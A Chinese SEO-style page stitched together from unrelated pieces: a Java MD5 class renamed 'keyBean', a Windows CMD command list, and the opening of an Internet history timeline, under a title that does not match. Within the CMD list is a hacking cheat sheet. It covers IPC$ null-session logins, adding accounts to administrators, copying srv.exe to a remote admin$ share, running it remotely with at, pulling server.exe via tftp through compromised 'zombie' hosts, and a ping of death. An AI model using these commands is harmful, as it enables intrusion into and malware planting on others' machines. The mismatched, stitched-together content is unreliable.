eff 什么java的?java md5
大家好,关于eff 什么java的很多朋友都还不太明白,不过没关系,因为今天小编就来为大家分享关于java md5的知识点,相信应该可以解决大家的一些困惑和问题,如果碰巧可以解决您的问题,还望关注下本站哦,希望对各位有所帮助!
java md5
import java.lang.reflect.*;
/*************************************************
keyBean类实现了RSA Data Security, Inc.在提交给IETF
的RFC1321中的keyBean message-digest算法。
*************************************************/
public class keyBean{
/*下面这些S11-S44实际上是一个4*4的矩阵,在原始的C实现中是用#define实现的,
这里把它们实现成为static final是表示了只读,切能在同一个进程空间内的多个
Instance间共享*/
static final int S11= 7;
static final int S12= 12;
static final int S13= 17;
static final int S14= 22;
static final int S21= 5;
static final int S22= 9;
static final int S23= 14;
static final int S24= 20;
static final int S31= 4;
static final int S32= 11;
static final int S33= 16;
static final int S34= 23;
static final int S41= 6;
static final int S42= 10;
static final int S43= 15;
static final int S44= 21;
static final byte[] PADDING={-128, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0};
/*下面的三个成员是keyBean计算过程中用到的3个核心数据,在原始的C实现中
被定义到keyBean_CTX结构中
*/
private long[] state= new long[4];// state(ABCD)
private long[] count= new long[2];// number of bits, modulo 2^64(lsb first)
private byte[] buffer= new byte[64];// input buffer
/* digestHexStr是keyBean的唯一一个公共成员,是最新一次计算结果的
16进制ASCII表示.
*/
public String digestHexStr;
/* digest,是最新一次计算结果的2进制内部表示,表示128bit的keyBean值.
*/
private byte[] digest= new byte[16];
/*
getkeyBeanofStr是类keyBean最主要的公共方法,入口参数是你想要进行keyBean变换的字符串
返回的是变换完的结果,这个结果是从公共成员digestHexStr取得的.
*/
public String getkeyBeanofStr(String inbuf){
keyBeanInit();
keyBeanUpdate(inbuf.getBytes(), inbuf.length());
keyBeanFinal();
digestHexStr="";
for(int i= 0; i< 16; i++){
digestHexStr+= byteHEX(digest[i]);
}
return digestHexStr;
}
//这是keyBean这个类的标准构造函数,JavaBean要求有一个public的并且没有参数的构造函数
public keyBean(){
keyBeanInit();
return;
}
/* keyBeanInit是一个初始化函数,初始化核心变量,装入标准的幻数*/
private void keyBeanInit(){
count[0]= 0L;
count[1]= 0L;
///* Load magic initialization constants.
state[0]= 0x67452301L;
state[1]= 0xefcdab89L;
state[2]= 0x98badcfeL;
state[3]= 0x10325476L;
return;
}
/* F, G, H,I是4个基本的keyBean函数,在原始的keyBean的C实现中,由于它们是
简单的位运算,可能出于效率的考虑把它们实现成了宏,在java中,我们把它们
实现成了private方法,名字保持了原来C中的。*/
private long F(long x, long y, long z){
return(x& y)|((~x)& z);
}
private long G(long x, long y, long z){
return(x& z)|(y&(~z));
}
private long H(long x, long y, long z){
return x ^ y ^ z;
}
private long I(long x, long y, long z){
return y ^(x|(~z));
}
/*
FF,GG,HH和II将调用F,G,H,I进行近一步变换
FF, GG, HH, and II transformations for rounds 1, 2, 3, and 4.
Rotation is separate from addition to prevent recomputation.
*/
private long FF(long a, long b, long c, long d, long x, long s,
long ac){
a+= F(b, c, d)+ x+ ac;
a=((int) a<< s)|((int) a>>>(32- s));
a+= b;
return a;
}
private long GG(long a, long b, long c, long d, long x, long s,
long ac){
a+= G(b, c, d)+ x+ ac;
a=((int) a<< s)|((int) a>>>(32- s));
a+= b;
return a;
}
private long HH(long a, long b, long c, long d, long x, long s,
long ac){
a+= H(b, c, d)+ x+ ac;
a=((int) a<< s)|((int) a>>>(32- s));
a+= b;
return a;
}
private long II(long a, long b, long c, long d, long x, long s,
long ac){
a+= I(b, c, d)+ x+ ac;
a=((int) a<< s)|((int) a>>>(32- s));
a+= b;
return a;
}
/*
keyBeanUpdate是keyBean的主计算过程,inbuf是要变换的字节串,inputlen是长度,这个
函数由getkeyBeanofStr调用,调用之前需要调用keyBeaninit,因此把它设计成private的
*/
private void keyBeanUpdate(byte[] inbuf, int inputLen){
int i, index, partLen;
byte[] block= new byte[64];
index=(int)(count[0]>>>3)& 0x3F;
///* Update number of bits*/
if((count[0]+=(inputLen<< 3))<(inputLen<< 3))
count[1]++;
count[1]+=(inputLen>>>29);
partLen= 64- index;
// Transform as many times as possible.
if(inputLen>= partLen){
keyBeanMemcpy(buffer, inbuf, index, 0, partLen);
keyBeanTransform(buffer);
for(i= partLen; i+ 63< inputLen; i+= 64){
keyBeanMemcpy(block, inbuf, 0, i, 64);
keyBeanTransform(block);
}
index= 0;
} else
i= 0;
///* Buffer remaining input*/
keyBeanMemcpy(buffer, inbuf, index, i, inputLen- i);
}
/*
keyBeanFinal整理和填写输出结果
*/
private void keyBeanFinal(){
byte[] bits= new byte[8];
int index, padLen;
///* Save number of bits*/
Encode(bits, count, 8);
///* Pad out to 56 mod 64.
index=(int)(count[0]>>>3)& 0x3f;
padLen=(index< 56)?(56- index):(120- index);
keyBeanUpdate(PADDING, padLen);
///* Append length(before padding)*/
keyBeanUpdate(bits, 8);
///* Store state in digest*/
Encode(digest, state, 16);
}
/* keyBeanMemcpy是一个内部使用的byte数组的块拷贝函数,从input的inpos开始把len长度的
字节拷贝到output的outpos位置开始
*/
private void keyBeanMemcpy(byte[] output, byte[] input,
int outpos, int inpos, int len)
{
int i;
for(i= 0; i< len; i++)
output[outpos+ i]= input[inpos+ i];
}
/*
keyBeanTransform是keyBean核心变换程序,有keyBeanUpdate调用,block是分块的原始字节
*/
private void keyBeanTransform(byte block[]){
long a= state[0], b= state[1], c= state[2], d= state[3];
long[] x= new long[16];
Decode(x, block, 64);
/* Round 1*/
a= FF(a, b, c, d, x[0], S11, 0xd76aa478L);/* 1*/
d= FF(d, a, b, c, x[1], S12, 0xe8c7b756L);/* 2*/
c= FF(c, d, a, b, x[2], S13, 0x242070dbL);/* 3*/
b= FF(b, c, d, a, x[3], S14, 0xc1bdceeeL);/* 4*/
a= FF(a, b, c, d, x[4], S11, 0xf57c0fafL);/* 5*/
d= FF(d, a, b, c, x[5], S12, 0x4787c62aL);/* 6*/
c= FF(c, d, a, b, x[6], S13, 0xa8304613L);/* 7*/
b= FF(b, c, d, a, x[7], S14, 0xfd469501L);/* 8*/
a= FF(a, b, c, d, x[8], S11, 0x698098d8L);/* 9*/
d= FF(d, a, b, c, x[9], S12, 0x8b44f7afL);/* 10*/
c= FF(c, d, a, b, x[10], S13, 0xffff5bb1L);/* 11*/
b= FF(b, c, d, a, x[11], S14, 0x895cd7beL);/* 12*/
a= FF(a, b, c, d, x[12], S11, 0x6b901122L);/* 13*/
d= FF(d, a, b, c, x[13], S12, 0xfd987193L);/* 14*/
c= FF(c, d, a, b, x[14], S13, 0xa679438eL);/* 15*/
b= FF(b, c, d, a, x[15], S14, 0x49b40821L);/* 16*/
/* Round 2*/
a= GG(a, b, c, d, x[1], S21, 0xf61e2562L);/* 17*/
d= GG(d, a, b, c, x[6], S22, 0xc040b340L);/* 18*/
c= GG(c, d, a, b, x[11], S23, 0x265e5a51L);/* 19*/
b= GG(b, c, d, a, x[0], S24, 0xe9b6c7aaL);/* 20*/
a= GG(a, b, c, d, x[5], S21, 0xd62f105dL);/* 21*/
d= GG(d, a, b, c, x[10], S22, 0x2441453L);/* 22*/
c= GG(c, d, a, b, x[15], S23, 0xd8a1e681L);/* 23*/
b= GG(b, c, d, a, x[4], S24, 0xe7d3fbc8L);/* 24*/
a= GG(a, b, c, d, x[9], S21, 0x21e1cde6L);/* 25*/
d= GG(d, a, b, c, x[14], S22, 0xc33707d6L);/* 26*/
c= GG(c, d, a, b, x[3], S23, 0xf4d50d87L);/* 27*/
b= GG(b, c, d, a, x[8], S24, 0x455a14edL);/* 28*/
a= GG(a, b, c, d, x[13], S21, 0xa9e3e905L);/* 29*/
d= GG(d, a, b, c, x[2], S22, 0xfcefa3f8L);/* 30*/
c= GG(c, d, a, b, x[7], S23, 0x676f02d9L);/* 31*/
b= GG(b, c, d, a, x[12], S24, 0x8d2a4c8aL);/* 32*/
/* Round 3*/
a= HH(a, b, c, d, x[5], S31, 0xfffa3942L);/* 33*/
d= HH(d, a, b, c, x[8], S32, 0x8771f681L);/* 34*/
c= HH(c, d, a, b, x[11], S33, 0x6d9d6122L);/* 35*/
b= HH(b, c, d, a, x[14], S34, 0xfde5380cL);/* 36*/
a= HH(a, b, c, d, x[1], S31, 0xa4beea44L);/* 37*/
d= HH(d, a, b, c, x[4], S32, 0x4bdecfa9L);/* 38*/
c= HH(c, d, a, b, x[7], S33, 0xf6bb4b60L);/* 39*/
b= HH(b, c, d, a, x[10], S34, 0xbebfbc70L);/* 40*/
a= HH(a, b, c, d, x[13], S31, 0x289b7ec6L);/* 41*/
d= HH(d, a, b, c, x[0], S32, 0xeaa127faL);/* 42*/
c= HH(c, d, a, b, x[3], S33, 0xd4ef3085L);/* 43*/
b= HH(b, c, d, a, x[6], S34, 0x4881d05L);/* 44*/
a= HH(a, b, c, d, x[9], S31, 0xd9d4d039L);/* 45*/
d= HH(d, a, b, c, x[12], S32, 0xe6db99e5L);/* 46*/
c= HH(c, d, a, b, x[15], S33, 0x1fa27cf8L);/* 47*/
b= HH(b, c, d, a, x[2], S34, 0xc4ac5665L);/* 48*/
/* Round 4*/
a= II(a, b, c, d, x[0], S41, 0xf4292244L);/* 49*/
d= II(d, a, b, c, x[7], S42, 0x432aff97L);/* 50*/
c= II(c, d, a, b, x[14], S43, 0xab9423a7L);/* 51*/
b= II(b, c, d, a, x[5], S44, 0xfc93a039L);/* 52*/
a= II(a, b, c, d, x[12], S41, 0x655b59c3L);/* 53*/
d= II(d, a, b, c, x[3], S42, 0x8f0ccc92L);/* 54*/
c= II(c, d, a, b, x[10], S43, 0xffeff47dL);/* 55*/
b= II(b, c, d, a, x[1], S44, 0x85845dd1L);/* 56*/
a= II(a, b, c, d, x[8], S41, 0x6fa87e4fL);/* 57*/
d= II(d, a, b, c, x[15], S42, 0xfe2ce6e0L);/* 58*/
c= II(c, d, a, b, x[6], S43, 0xa3014314L);/* 59*/
b= II(b, c, d, a, x[13], S44, 0x4e0811a1L);/* 60*/
a= II(a, b, c, d, x[4], S41, 0xf7537e82L);/* 61*/
d= II(d, a, b, c, x[11], S42, 0xbd3af235L);/* 62*/
c= II(c, d, a, b, x[2], S43, 0x2ad7d2bbL);/* 63*/
b= II(b, c, d, a, x[9], S44, 0xeb86d391L);/* 64*/
state[0]+= a;
state[1]+= b;
state[2]+= c;
state[3]+= d;
}
/*Encode把long数组按顺序拆成byte数组,因为java的long类型是64bit的,
只拆低32bit,以适应原始C实现的用途
*/
private void Encode(byte[] output, long[] input, int len){
int i, j;
for(i= 0, j= 0; j< len; i++, j+= 4){
output[j]=(byte)(input[i]& 0xffL);
output[j+ 1]=(byte)((input[i]>>>8)& 0xffL);
output[j+ 2]=(byte)((input[i]>>>16)& 0xffL);
output[j+ 3]=(byte)((input[i]>>>24)& 0xffL);
}
}
/*Decode把byte数组按顺序合成成long数组,因为java的long类型是64bit的,
只合成低32bit,高32bit清零,以适应原始C实现的用途
*/
private void Decode(long[] output, byte[] input, int len){
int i, j;
for(i= 0, j= 0; j< len; i++, j+= 4)
output[i]= b2iu(input[j])|
(b2iu(input[j+ 1])<< 8)|
(b2iu(input[j+ 2])<< 16)|
(b2iu(input[j+ 3])<< 24);
return;
}
/*
b2iu是我写的一个把byte按照不考虑正负号的原则的”升位”程序,因为java没有unsigned运算
*/
public static long b2iu(byte b){
return b< 0? b& 0x7F+ 128: b;
}
/*byteHEX(),用来把一个byte类型的数转换成十六进制的ASCII表示,
因为java中的byte的toString无法实现这一点,我们又没有C语言中的
sprintf(outbuf,"%02X",ib)
*/
public static String byteHEX(byte ib){
char[] Digit={'0','1','2','3','4','5','6','7','8','9',
'A','B','C','D','E','F'};
char [] ob= new char[2];
ob[0]= Digit[(ib>>>4)& 0X0F];
ob[1]= Digit[ib& 0X0F];
String s= new String(ob);
return s;
}
public static void main(String args[]){
keyBean m= new keyBean();
if(Array.getLength(args)== 0){//如果没有参数,执行标准的Test Suite
System.out.println("keyBean Test suite:");
System.out.println("keyBean(\\"\\"):"+m.getkeyBeanofStr(""));
System.out.println("keyBean(\\"a\\"):"+m.getkeyBeanofStr("a"));
System.out.println("keyBean(\\"abc\\"):"+m.getkeyBeanofStr("abc"));
System.out.println("keyBean(\\"message digest\\"):"+m.getkeyBeanofStr("message digest"));
System.out.println("keyBean(\\"abcdefghijklmnopqrstuvwxyz\\"):"+
m.getkeyBeanofStr("abcdefghijklmnopqrstuvwxyz"));
System.out.println("keyBean(\\"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789\\"):"+
m.getkeyBeanofStr("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"));
}
else
System.out.println("keyBean("+ args[0]+")="+ m.getkeyBeanofStr(args[0]));
}
}
net config 命令
有关某个命令的详细信息,请键入 HELP命令名
XP.CMD命令大全
有关某个命令的详细信息,请键入 HELP命令名
ASSOC显示或修改文件扩展名关联。
AT计划在计算机上运行的命令和程序。
ATTRIB显示或更改文件属性。
BREAK设置或清除扩展式 CTRL+C检查。
CACLS显示或修改文件的访问控制列表(ACLs)。
CALL从另一个批处理程序调用这一个。
CD显示当前目录的名称或将其更改。
CHCP显示或设置活动代码页数。
CHDIR显示当前目录的名称或将其更改。
CHKDSK检查磁盘并显示状态报告。
CHKNTFS显示或修改启动时间磁盘检查。
CLS清除屏幕。
CMD打开另一个 Windows命令解释程序窗口。
COLOR设置默认控制台前景和背景颜色。
COMP比较两个或两套文件的内容。
COMPACT显示或更改 NTFS分区上文件的压缩。
CONVERT将 FAT卷转换成 NTFS。您不能转换
当前驱动器。
COPY将至少一个文件复制到另一个位置。
DATE显示或设置日期。
DEL删除至少一个文件。
DIR显示一个目录中的文件和子目录。
DISKCOMP比较两个软盘的内容。
DISKCOPY将一个软盘的内容复制到另一个软盘。
DOSKEY编辑命令行、调用 Windows命令并创建宏。
ECHO显示消息,或将命令回显打开或关上。
ENDLOCAL结束批文件中环境更改的本地化。
ERASE删除至少一个文件。
EXIT退出 CMD.EXE程序(命令解释程序)。
FC比较两个或两套文件,并显示
不同处。
FIND在文件中搜索文字字符串。
FINDSTR在文件中搜索字符串。
FOR为一套文件中的每个文件运行一个指定的命令。
FORMAT格式化磁盘,以便跟 Windows使用。
FTYPE显示或修改用于文件扩展名关联的文件类型。
GOTO将 Windows命令解释程序指向批处理程序
中某个标明的行。
GRAFTABL启用 Windows来以图像模式显示
扩展字符集。
HELP提供 Windows命令的帮助信息。
IF执行批处理程序中的条件性处理。
LABEL创建、更改或删除磁盘的卷标。
MD创建目录。
MKDIR创建目录。
MODE配置系统设备。
MORE一次显示一个结果屏幕。
MOVE将文件从一个目录移到另一个目录。
PATH显示或设置可执行文件的搜索路径。
PAUSE暂停批文件的处理并显示消息。
POPD还原 PUSHD保存的当前目录的上一个值。
PRINT打印文本文件。
PROMPT更改 Windows命令提示符。
PUSHD保存当前目录,然后对其进行更改。
RD删除目录。
RECOVER从有问题的磁盘恢复可读信息。
REM记录批文件或 CONFIG.SYS中的注释。
REN重命名文件。
RENAME重命名文件。
REPLACE替换文件。
RMDIR删除目录。
SET显示、设置或删除 Windows环境变量。
SETLOCAL开始批文件中环境更改的本地化。
SHIFT更换批文件中可替换参数的位置。
SORT对输入进行分类。
START启动另一个窗口来运行指定的程序或命令。
SUBST将路径跟一个驱动器号关联。
TIME显示或设置系统时间。
TITLE设置 CMD.EXE会话的窗口标题。
TREE以图形模式显示驱动器或路径的目录结构。
TYPE显示文本文件的内容。
VER显示 Windows版本。
VERIFY告诉 Windows是否验证文件是否已正确
写入磁盘。
VOL显示磁盘卷标和序列号。
XCOPY复制文件和目录树。
appwiz.cpl------------添加删除程序
control userpasswords2--------用户帐户设置
cleanmgr-------垃圾整理
CMD--------------命令提示符可以当作是 Windows的一个附件,Ping,Convert这些不能在图形环境下使用的功能要借助它来完成。
cmd------jview察看Java虚拟机版本。
command.com------调用的则是系统内置的 NTVDM,一个 DOS虚拟机。它完全是一个类似 Virtual PC的虚拟环境,和系统本身联系不大。当我们在命令提示符下运行 DOS程序时,实际上也是自动转移到 NTVDM虚拟机下,和 CMD本身没什么关系。
calc-----------启动计算器
chkdsk.exe-----Chkdsk磁盘检查
compmgmt.msc---计算机管理
conf-----------启动 netmeeting
control userpasswords2-----User Account权限设置
devmgmt.msc---设备管理器
diskmgmt.msc---磁盘管理实用程序
dfrg.msc-------磁盘碎片整理程序
drwtsn32------系统医生
dvdplay--------启动Media Player
dxdiag-----------DirectX Diagnostic Tool
gpedit.msc-------组策略编辑器
gpupdate/target:computer/force强制刷新组策略
eventvwr.exe-----事件查看器
explorer-------打开资源管理器
logoff---------注销命令
lusrmgr.msc----本机用户和组
msinfo32---------系统信息
msconfig---------系统配置实用程序
net start(servicename)----启动该服务
net stop(servicename)-----停止该服务
notepad--------打开记事本
nusrmgr.cpl-------同control userpasswords,打开用户帐户控制面板
Nslookup-------IP地址侦测器
oobe/msoobe/a----检查XP是否激活
perfmon.msc----计算机性能监测程序
progman--------程序管理器
regedit----------注册表编辑器
regedt32-------注册表编辑器
regsvr32/u*.dll----停止dll文件运行
route print------查看路由表
rononce-p----15秒关机
rsop.msc-------组策略结果集
rundll32.exe rundll32.exe%Systemroot%System32shimgvw.dll,ImageView_Fullscreen----启动一个空白的Windows图片和传真查看器
secpol.msc--------本地安全策略
services.msc---本地服务设置
sfc/scannow-----启动系统文件检查器
sndrec32-------录音机
taskmgr-----任务管理器(适用于2000/xp/2003)
tsshutdn-------60秒倒计时关机命令
winchat--------XP自带局域网聊天
winmsd---------系统信息
winver-----显示About Windows窗口
wupdmgr-----------Windows Update
CMD命令大全(已更新)
net use\\ip\ipc$""/user:""建立IPC空链接
net use\\ip\ipc$"密码"/user:"用户名"建立IPC非空链接
net use h:\\ip\c$"密码"/user:"用户名"直接登陆后映射对方C:到本地为H:
net use h:\\ip\c$登陆后映射对方C:到本地为H:
net use\\ip\ipc$/del删除IPC链接
net use h:/del删除映射对方到本地的为H:的映射
net user用户名密码/add建立用户
net user guest/active:yes激活guest用户
net user查看有哪些用户
net user帐户名查看帐户的属性
net localgroup***istrators用户名/add把“用户”添加到管理员中使其具有管理员权限,注意:***istrator后加s用复数
net start查看开启了哪些服务
net start服务名开启服务;(如:net start telnet, net start schedule)
net stop服务名停止某服务
net time\\目标ip查看对方时间
net time\\目标ip/set设置本地计算机时间与“目标IP”主机的时间同步,加上参数/yes可取消确认信息
net view查看本地局域网内开启了哪些共享
net view\\ip查看对方局域网内开启了哪些共享
net config显示系统网络设置
net logoff断开连接的共享
net pause服务名暂停某服务
net send ip"文本信息"向对方发信息
net ver局域网内正在使用的网络连接类型和信息
net share查看本地开启的共享
net share ipc$开启ipc$共享
net share ipc$/del删除ipc$共享
net share c$/del删除C:共享
net user guest 12345用guest用户登陆后用将密码改为12345
net password密码更改系统登陆密码
netstat-a查看开启了哪些端口,常用netstat-an
netstat-n查看端口的网络连接情况,常用netstat-an
netstat-v查看正在进行的工作
netstat-p协议名例:netstat-p tcq/ip查看某协议使用情况(查看tcp/ip协议使用情况)
netstat-s查看正在使用的所有协议使用情况
nbtstat-A ip对方136到139其中一个端口开了的话,就可查看对方最近登陆的用户名(03前的为用户名)-注意:参数-A要大写
tracert-参数 ip(或计算机名)跟踪路由(数据包),参数:“-w数字”用于设置超时间隔。
ping ip(或域名)向对方主机发送默认大小为32字节的数据,参数:“-l[空格]数据包大小”;“-n发送数据次数”;“-t”指一直ping。
ping-t-l 65550 ip死亡之ping(发送大于64K的文件并一直ping就成了死亡之ping)
ipconfig(winipcfg)用于windows NT及XP(windows 95 98)查看本地ip地址,ipconfig可用参数“/all”显示全部配置信息
tlist-t以树行列表显示进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)
kill-F进程名加-F参数后强制结束某进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)
del-F文件名加-F参数后就可删除只读文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件,/A-R、/A-H、/A-S、/A-A表示删除除只读、隐藏、系统、存档以外的文件。例如“DEL/AR*.*”表示删除当前目录下所有只读文件,“DEL/A-S*.*”表示删除当前目录下除系统文件以外的所有文件
del/S/Q目录或用:rmdir/s/Q目录/S删除目录及目录下的所有子目录和文件。同时使用参数/Q可取消删除操作时的系统确认就直接删除。(二个命令作用相同)
move盘符\路径\要移动的文件名存放移动文件的路径\移动后文件名移动文件,用参数/y将取消确认移动目录存在相同文件的提示就直接覆盖
fc one.txt two.txt> 3st.txt对比二个文件并把不同之处输出到3st.txt文件中,">"和">>"是重定向命令
at id号开启已注册的某个计划任务
at/delete停止所有计划任务,用参数/yes则不需要确认就直接停止
at id号/delete停止某个已注册的计划任务
at查看所有的计划任务
at\\ip time程序名(或一个命令)/r在某时间运行对方某程序并重新启动计算机
finger username@host查看最近有哪些用户登陆
telnet ip端口远和登陆服务器,默认端口为23
open ip连接到IP(属telnet登陆后的命令)
telnet在本机上直接键入telnet将进入本机的telnet
copy路径\文件名1路径\文件名2/y复制文件1到指定的目录为文件2,用参数/y就同时取消确认你要改写一份现存目录文件
copy c:\srv.exe\\ip\***$复制本地c:\srv.exe到对方的***下
cppy 1st.jpg/b+2st.txt/a 3st.jpg将2st.txt的内容藏身到1st.jpg中生成3st.jpg新的文件,注:2st.txt文件头要空三排,参数:/b指二进制文件,/a指ASCLL格式文件
copy\\ip\***$\svv.exe c:\或:copy\\ip\***$\*.*复制对方***i$共享下的srv.exe文件(所有文件)至本地C:
xcopy要复制的文件或目录树目标地址\目录名复制文件和目录树,用参数/Y将不提示覆盖相同文件
tftp-i自己IP(用肉机作跳板时这用肉机IP) get server.exe c:\server.exe登陆后,将“IP”的server.exe下载到目标主机c:\server.exe参数:-i指以二进制模式传送,如传送exe文件时用,如不加-i则以ASCII模式(传送文本文件模式)进行传送
tftp-i对方IP put c:\server.exe登陆后,上传本地c:\server.exe至主机
ftp ip端口用于上传文件至服务器或进行文件操作,默认端口为21。bin指用二进制方式传送(可执行文件进);默认为ASCII格式传送(文本文件时)
route print显示出IP路由,将主要显示网络地址Network addres,子网掩码Netmask,网关地址Gateway addres,接口地址Interface
arp查看和处理ARP缓存,ARP是名字解析的意思,负责把一个IP解析成一个物理性的MAC地址。arp-a将显示出全部信息
start程序名或命令/max或/min新开一个新窗口并最大化(最小化)运行某程序或命令
mem查看cpu使用情况
attrib文件名(目录名)查看某文件(目录)的属性
attrib文件名-A-R-S-H或+A+R+S+H去掉(添加)某文件的存档,只读,系统,隐藏属性;用+则是添加为某属性
dir查看文件,参数:/Q显示文件及目录属系统哪个用户,/T:C显示文件创建时间,/T:A显示文件上次被访问时间,/T:W上次被修改时间
date/t、 time/t使用此参数即“DATE/T”、“TIME/T”将只显示当前日期和时间,而不必输入新日期和时间
set指定环境变量名称=要指派给变量的字符设置环境变量
set显示当前所有的环境变量
set p(或其它字符)显示出当前以字符p(或其它字符)开头的所有环境变量
pause暂停批处理程序,并显示出:请按任意键继续....
if在批处理程序中执行条件处理(更多说明见if命令及变量)
goto标签将cmd.exe导向到批处理程序中带标签的行(标签必须单独一行,且以冒号打头,例如:“:start”标签)
call路径\批处理文件名从批处理程序中调用另一个批处理程序(更多说明见call/?)
for对一组文件中的每一个文件执行某个特定命令(更多说明见for命令及变量)
echo on或off打开或关闭echo,仅用echo不加参数则显示当前echo设置
echo信息在屏幕上显示出信息
echo信息>> pass.txt将"信息"保存到pass.txt文件中
findstr"Hello" aa.txt在aa.txt文件中寻找字符串hello
find文件名查找某文件
title标题名字更改CMD窗口标题名字
color颜色值设置cmd控制台前景和背景颜色;0=黑、1=蓝、2=绿、3=浅绿、4=红、5=紫、6=黄、7=白、8=灰、9=淡蓝、A=淡绿、B=淡浅绿、C=淡红、D=淡紫、E=淡黄、F=亮白
prompt名称更改cmd.exe的显示的命令提示符(把C:\、D:\统一改为:EntSky\)
ver在DOS窗口下显示版本信息
winver弹出一个窗口显示版本信息(内存大小、系统版本、补丁版本、计算机名)
format盘符/FS:类型格式化磁盘,类型:FAT、FAT32、NTFS,例:Format D:/FS:NTFS
md目录名创建目录
replace源文件要替换文件的目录替换文件
ren原文件名新文件名重命名文件名
tree以树形结构显示出目录,用参数-f将列出第个文件夹中文件名称
type文件名显示文本文件的内容
more文件名逐屏显示输出文件
doskey要锁定的命令=字符
doskey要解锁命令=为DOS提供的锁定命令(编辑命令行,重新调用win2k命令,并创建宏)。如:锁定dir命令:doskey dir=entsky(不能用doskey dir=dir);解锁:doskey dir=
taskmgr调出任务管理器
chkdsk/F D:检查磁盘D并显示状态报告;加参数/f并修复磁盘上的错误
tlntadmn telnt服务admn,键入tlntadmn选择3,再选择8,就可以更改telnet服务默认端口23为其它任何端口
exit退出cmd.exe程序或目前,用参数/B则是退出当前批处理脚本而不是cmd.exe
path路径\可执行文件的文件名为可执行文件设置一个路径。
cmd启动一个win2K命令解释窗口。参数:/eff、/en关闭、开启命令扩展;更我详细说明见cmd/?
regedit/s注册表文件名导入注册表;参数/S指安静模式导入,无任何提示;
regedit/e注册表文件名导出注册表
cacls文件名参数显示或修改文件访问控制列表(ACL)——针对NTFS格式时。参数:/D用户名:设定拒绝某用户访问;/P用户名erm替换指定用户的访问权限;/G用户名erm赋予指定用户访问权限;Perm可以是: N无,R读取, W写入, C更改(写入),F完全控制;例:cacls D:\test.txt/D pub设定d:\test.txt拒绝pub用户访问。
cacls文件名查看文件的访问用户权限列表
REM文本内容在批处理文件中添加注解
netsh查看或更改本地网络配置情况
wmimgmt.msc----打开windows管理体系结构
wupdmgr--------windows更新程序
winver---------检查Windows版本
wmimgmt.msc----打开windows管理体系结构
wupdmgr--------windows更新程序
wscrīpt--------windows脚本宿主设置
write----------写字板winmsd-----系统信息
wiaacmgr-------扫描仪和照相机向导
winchat--------XP自带局域网聊天
mem.exe--------显示内存使用情况
Msconfig.exe---系统配置实用程序
mplayer2-------简易widnows media player
mspaint--------画图板
mstsc----------远程桌面连接
mplayer2-------媒体播放机
magnify--------放大镜实用程序
mmc------------打开控制台
mobsync--------同步命令
dxdiag---------检查DirectX信息
drwtsn32------系统医生
devmgmt.msc---设备管理器
dfrg.msc-------磁盘碎片整理程序
diskmgmt.msc---磁盘管理实用程序
dcomcnfg-------打开系统组件服务
ddeshare-------打开DDE共享设置
dvdplay--------DVD播放器
net stop messenger-----停止信使服务
net start messenger----开始信使服务
notepad--------打开记事本
nslookup-------网络管理的工具向导
ntbackup-------系统备份和还原
narrator-------屏幕"讲述人"
ntmsmgr.msc----移动存储管理器
ntmsoprq.msc---移动存储管理员操作请求
netstat-an----(TC)命令检查接口
syncapp--------创建一个公文包
sysedit--------系统配置编辑器
sigverif-------文件签名验证程序
sndrec32-------录音机
shrpubw--------创建共享文件夹
secpol.msc-----本地安全策略
syskey---------系统加密,一旦加密就不能解开,保护windows xp系统的双重密码
services.msc---本地服务设置
Sndvol32-------音量控制程序
sfc.exe--------系统文件检查器
sfc/scannow---windows文件保护
tsshutdn-------60秒倒计时关机命令
tourstart------xp简介(安装完成后出现的漫游xp程序)
taskmgr--------任务管理器
eventvwr-------事件查看器
eudcedit-------造字程序
explorer-------打开资源管理器
packager-------对象包装程序
perfmon.msc----计算机性能监测程序
progman--------程序管理器
regedit.exe----注册表
rsop.msc-------组策略结果集
regedt32-------注册表编辑器
rononce-p----15秒关机
regsvr32/u*.dll----停止dll文件运行
regsvr32/u zipfldr.dll------取消ZIP支持
cmd.exe--------CMD命令提示符
chkdsk.exe-----Chkdsk磁盘检查
certmgr.msc----证书管理实用程序
calc-----------启动计算器
charmap--------启动字符映射表
cliconfg-------SQL SERVER客户端网络实用程序
Clipbrd--------剪贴板查看器
conf-----------启动netmeeting
compmgmt.msc---计算机管理
cleanmgr-------**整理
ciadv.msc------索引服务程序
osk------------打开屏幕键盘
odbcad32-------ODBC数据源管理器
oobe/msoobe/a----检查XP是否激活
lusrmgr.msc----本机用户和组
logoff---------注销命令
iexpress-------木马捆绑工具,系统自带
Nslookup-------IP地址侦测器
fsmgmt.msc-----共享文件夹管理器
utilman--------辅助工具管理器
gpedit.msc-----组策略
Internet 是谁创造的什么是域名
50年代
1957
苏联发射了人类第一颗人造地球卫星"Sputnik"。作为响应,美国国防部(DoD)组建了高级研究计划局(ARPA),开始将科学技术应用于军事领域。
60年代
1961
MIT的Leonard Kleinrock发表"Information Flow in Large Communication Nets",(7月)
第一篇有关包交换(PS)的论文。
1962
MIT的J.C.R. Licklider和W. Clark发表"On-Line Man Computer Communication",(8月)
包含有分布式社交行为的全球网络概念。
1964
RAND公司的Paul Baran发表"On Distributed Communications Networks"。
包交换网络;不存在出口。
1965
ARPA资助进行"分时计算机系统的合作网络"研究。
MIT林肯实验室的TX-2计算机与位于加州圣莫尼卡的系统开发公司的Q-32计算机通过1200bps的电话专线直接连接(没有使用包交换)。随后APRA又将数据设备公司(DEC)的计算机加入其中,组成了"实验网络"。
1966
MIT的Lawrence G. Roberts发表"Towards a Cooperative Network of Time-Shared Computers",(10月)
第一个ARPANET计划。
1967
在美国密西根州Ann Arbor召开的ARPA IPTO PI会议上,Larry Roberts组织了有关ARPANET设计方案的讨论。(4月)
在田纳西州Gatlinburg召开ACM操作原则专题研讨会。(10月)
Lawrence G. Roberts发表第一篇关于ARPANET设计的论文"Multiple Computer Networks and Intercomputer Communication"。
三个独立的包交换网络(RAND、NPL、ARPA)开发人员的第一次会议。
